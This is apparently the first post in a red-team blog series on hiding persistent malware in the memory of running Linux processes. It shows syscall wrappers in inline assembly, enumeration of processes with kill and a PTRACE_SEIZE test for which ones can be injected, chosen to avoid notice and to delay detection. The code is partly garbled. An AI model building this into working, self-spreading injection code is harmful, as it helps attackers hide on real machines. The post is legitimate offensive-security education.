Cybersecurity blog header

Linux process infection

Among the different tasks that a Red Team should carry out, there is one that is remarkable by its intrinsic craftsmanship: putting an APT inside a computer system and ensuring its persistence. Unfortunately, most of this persistence mechanisms are based on keeping copies of an executable file in different locations, with one or more activation techniques (e.g. shell scripts, aliases, links, system boot scripts, etc.), and therefore a Blue Team’s security expert or a Threat Hunting team would only need to locate a working copy of the file and analyze it in his/her computer.

Although the security expert will find out what is going on sooner or later, it’s also true that some techniques can be implemented in order to difficult (or at least, delay) the detection of the APT in the infected machine. In this series of articles, we will detail a persistence mechanism based on the process tree instead of regular filesystem-based storage.


This technique will be carried out in a x86-64 GNU/Linux, although the theory could be easily extended to any operating system with a more or less complete debugging API. The requisites would be minimal: any modern GCC version would do the job.

Using the address space of other processes as warehouse

The intuition behind this technique is to use the address space of the running non-privileged processes as a storage area by injecting two threads in them: the first thread would try to infect the rest of processes, while the other will contain the payload (which, in this case, will just ensure file-system persistence). If the file is deleted, it will be restored with a different name.

It’s important to have in mind that this technique will be strongly limited by the machine´s uptime, and therefore it should be used in systems that are not intended to be frequently restarted. In other systems, it could be seen as a complementary persistence mechanism.

Shaping the injection

Obviously, one of the most critical phases of this technique is the code injection itself. As it’s impossible to know where the code will be placed beforehand in the victim’s address space, the code should be PIC (position-independent code). This suggests almost immediately the usage of dynamic libraries, as they can be laid out in memory practically “as is”. However, this has some cons:

  • Most of the injected information will be metadata (headers and son on)
  • The code necessary to parse and load a library, although not being excessively complex, will not be negligible in comparison with the payload’s size
  • Shared libraries use a broadly known file format, and make the resulting file easily analyzable

Ideally, the injection would be as small as possible: a couple of code pages, maybe an additional page for data and that would be it. All this is possible with linker scripts. However, for this proof of concept, we will content ourselves with a shared library as “first container”.

Another restriction to have in mind is that the target process does not need to be loaded as a dynamic executable (and, therefore, the C library may not be dynamically loaded). Also, manual symbol resolution on a loaded shared library is painful, ABI-dependent and barely maintainable. This means that many standard C functions will be reimplemented by hand.

Also, this injection will be based on the ptrace system call. If the process is not privileged enough (or this feature is explicitly disabled by the administrator), this technique will simply not work.

And finally, restrictions on dynamic memory usage will show up too. The usage of dynamic memory involves dealing with the heap, whose internal structure is far from being standard. In general, it is not desirable to keep a large memory footprint in the program’s address space. Dynamic memory should be used seldom to reduce the footprint as much as possible.


This proof of concept will do the following:

  • The library will hold 2 entry points. The location of these entry points will be known beforehand (as they would be at fixed distance from the beginning of the executable) and will correspond to the beginning of the main function of the injected threads.
  • The infection thread will list every running process in the system, locating those that can be potentially attacked.
  • A ptrace(PTRACE_SEIZE) will be attempted against each process, and its memory read in order to detect whether it is already infected.
  • In order to prepare the target address space, system calls must be injected. These system calls must allocate the necessary memory pages to store the injected code.
  • Spawn both threads and continue the execution of the debugged process.

Each one of these phases requires some careful preparation that will be detailed in the following sections.

Preparing the environment

In order to keep the code as clean as possible, a small C program compiled as shared library will be used as starting point. Additionally, in order to run tests before the program is totally autonomous, another small C program that runs specific symbols in a library will be provided. In order to ease the overall development, a Makefile with all the build rules will be also included.

For the entry points of the injectable library, the following template will be used:

  /* Implement me */

  /* Implement me */

The program that will perform the initial execution of the entry points will be named “spawn.c” and will look like this:

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char *argv[])
  void *handle;
  void (*entry)(void);

  if (argc != 3) {
    fprintf(stderr, "Usagen%s file symboln", argv[0]);

  if ((handle = dlopen(argv[1], RTLD_NOW)) == NULL) {
    fprintf(stderr, "%s: failed to load %s: %sn", argv[0], argv[1], dlerror());

  if ((entry = dlsym(handle, argv[2])) == NULL) {
    fprintf(stderr, "%s: symbol `%s' not found in %sn", argv[0], argv[2], argv[1]);

  printf("Symbol `%s' found in %p. Jumping to function...n", argv[2], entry);

  (entry) ();

  printf("Function returned!n");

  return 0;

And finally, the Makefile that will compile both programs will be the following:

INF_CFLAGS=--shared -fPIE -fPIC -nostdlib

all : spawn : injectable.c
        $(CC) $(INF_CFLAGS) injectable.c -o

spawn : spawn.c
        $(CC) spawn.c -o spawn -ldl

And it will be enough by running make to compile everything:

% make
% ./spawn ./ propagate
Symbol `propagate' found in 0x7ffff76352ea. Jumping to function...
Function returned!

System calls

One noticeable apect about the Makefile above is that is being compiled with -nostdlib (this was a requisite), and therefore we will not have access to the high level C system call interface. To overcome this restriction, a set of hybrid C and inline assembly will be needed in order to interact with the operating system.

As general rule, x86-64 Linux system calls are performed through the syscall instruction (while in older x86 systems interrupt 0x80 was used instead). In any case, the underlying idea is the same: registers are populated with system call arguments and then the system is called via some special instruction. The contents of %rax are initialized with the system call function code, and its arguments are passed in order %rdi, %rsi, %rdx, %r10, %r8 and %r9. The return value is stored in %rax, and errors are signaled with a negative return value (which corresponds to the inverted errno value). So, a simple “hello world” in assembly using the write() system call may look like this:

    movq $1, %rax             // Syscall code for write(): 1
    movq $1, %rdi             // Arg 1: File descriptor (stdout)
    leaq %rip(greeting), %rsi // Arg 2: Buffer address
    movq $12, %rdx            // Arg 3: size (12 bytes)
    syscall                   // All set, call the kernel
greeting: .ascii "Hello worldn"

Using assembly code in C is rather easy thanks to the inline assembly syntax of GCC, and due to its expressivity, it can be condensed in a single sentence. A write wrapper for GCC can be reduced to:

#include <unistd.h>
#include <syscall.h>

write(int fd, const void *buffer, size_t size)
  size_t result;
  asm volatile("syscall" : "=a" (result) : "a" (__NR_write), "S" (fd), "D" (buffer), "d" (size);
  return result;

The values passed after “syscall” specify how registers should be initialized before executing the assembly code. In this case, %rax (specifier “a”) is initialized with __NR_write (a macro that expands to the system call code for write, as defined in syscall.h), %rdi (specifier “D”) with the buffer address and %rsi (specifier “S”) with the string size. The returned value is collected back in %rax (specifier “=a”, the equals sign means that “result” is a write only value and the compiler should not worry about its initial value).

Since string parsing is a common task in many programs and this one will not be an exception, it’s convenient now to write an implementation of strlen (following the prototype in string.h) to measure string lengths:

strlen(const char *buffer)
  size_t len = 0;

  while (*buffer++)

  return len;

Which allows the definition of the following macro:

#define puts(string) write(1, string, strlen(string))

Which provides a simple way to display debug messages in the standard output:

  puts("This is persist()n");

  puts("This is propagate()n");

And once run, they should produce the following output:

% ./spawn ./ persist
Symbol `persist' found in 0x7f3eb58403be. Jumping to function...
This is persist()
Function returned!
% ./spawn ./ propagate
Symbol `propagate' found in 0x7fb8874403db. Jumping to function...
This is propagate()
Function returned!

And therefore, the first difficulty would be resolved: from now on, for any missing system call functionality, a corresponding C wrapper should be implemented, and required library functions (like strlen) should be implemented following their corresponding standard header prototypes as we need them.

Enumerating processes

In order to inject the malicious code in other processes, the first step is to be aware of the available processes in the system. There are two ways to do this:

  • Accessing /proc and listing all directories, or
  • Probe all system PIDs with kill, from PID 2 to a given PID_MAX

Although the first method seems the fastest, it is also the most complex because:

  1. /proc may not be even mounted.
  2. Linux lacks an opendir/readdir system call pair to deal with directories. It is actually based on open / getdents, returning the latter a buffer of variable size structures that should be processed manually.
  3. Filenames must be converted to integer manually in order to extract the PID they refer to. Because we don’t have access to library function, such conversion feature should also be implemented manually.

The second method, even though slower in appearance, works in practically every modern operating system. In this method, kill is called several times with signal 0 in a range of PIDs, which returns 0 if the PID exists and the calling process can send signals to it (which in turn is related on how privileged the calling process is), or an error code otherwise.

The only unknown here is the PID_MAX which is not necessarily the same for every system. Fortunately, in the vast majority of cases, PID_MAX is set to its default value (32768). Since kill is very fast when no signal is sent, calling kill 33000 times seems feasible.

In order to use this technique, a wrapper for kill will be necessary. A loop will traverse all possible PIDs between 2 and 32768 (as PID 1 is reserved for init), and print a message for every process found:

kill(pid_t pid, int sig)
  int result;
  asm volatile("syscall" : "=a" (result) : "a" (__NR_kill), "D" (pid), "S" (sig));
  return result;

At this point, it is interesting to write down a function to print numbers in base 10:

puti(unsigned int num)
  unsigned int max = 1000000000;
  char c;
  unsigned int msd_found = 0;
  while (max > 0) {
    c = '0' + num / max;
    msd_found |= c != '0' || max == 1;

    if (msd_found)
      write(1, &c, 1);

    num %= max;
    max /= 10;

And what remains now is to modify propagate() in order to carry out the enumeration:

  pid_t pid;
  for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
      puts("Process found: ");

After compiling, we should expect a result like this:

% ./spawn ./ propagate
Process found: 1159
Process found: 1160
Process found: 1166
Process found: 1167
Process found: 1176
Process found: 1324
Process found: 1328
Process found: 1352

For a regular desktop GNU/Linux distribution, it’s common to find more than one hundred user processes to whom a signal may be sent. This is equivalent to say that there is more than one hundred possible infection targets.


This is the main weak spot of this technique: some of the enumerated processes above cannot be debugged due to access restrictions (e.g. setuid processes). A call to ptrace(PTRACE_SEIZE) on every found process can be used to identify which ones are debuggable.

Although the first thing that comes to one’s mind when debugging a running program is using PTRACE_ATTACH, this technique has side effects: in case of success, it will stop the debuggee until it is resumed with PTRACE_CONT. This may affect the target process (especially if it is sensitive to timing) and therefore make it noticeable to the user.  PTRACE_SEIZE (introduced in Linux 3.4), however, does not stop the target process.

Since according to libc, ptrace is a variadic function, it is convenient to simplify the wrapper’s prototype by always accepting 4 arguments, populating them or not depending on the requested command:

ptrace4(int request, pid_t pid, void *addr, void *data)
  long result;
  register void* r10 asm("r10") = data;
  asm volatile("syscall" : "=a" (result) : "a" (__NR_ptrace), "S" (pid), "D" (request), "d" (addr));
  return result;

And propagate will now look like this:

  pid_t pid;
  int err;
  for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
      puts("Process found: ");
      puts(": ");
      if ((err = ptrace4(PTRACE_SEIZE, pid, NULL, NULL)) >= 0) {
        ptrace4(PTRACE_DETACH, pid, NULL, NULL);
      } else {
        puts("but cannot be debugged : ( [errno=");

Which will list all debuggable processes on the system.

Conclusions (by now)

The previous tests gave us a quick glimpse of the feasibility of this technique. From here on out, the rest of the coding will be not too far from what we would expect from a regular debugger, being the biggest difference that our code will run in an automatic fashion. In the next post, we will see how to seize a system of the debuggee to inject system calls of our own remotely. These remote system calls will be used to create the code and data pages upon which the injected threads will be spawned.

Discover our work and cybersecurity services at


  • Replace command ./spawn propagate by ./spawn ./ propagate to prevent undesired path resolution on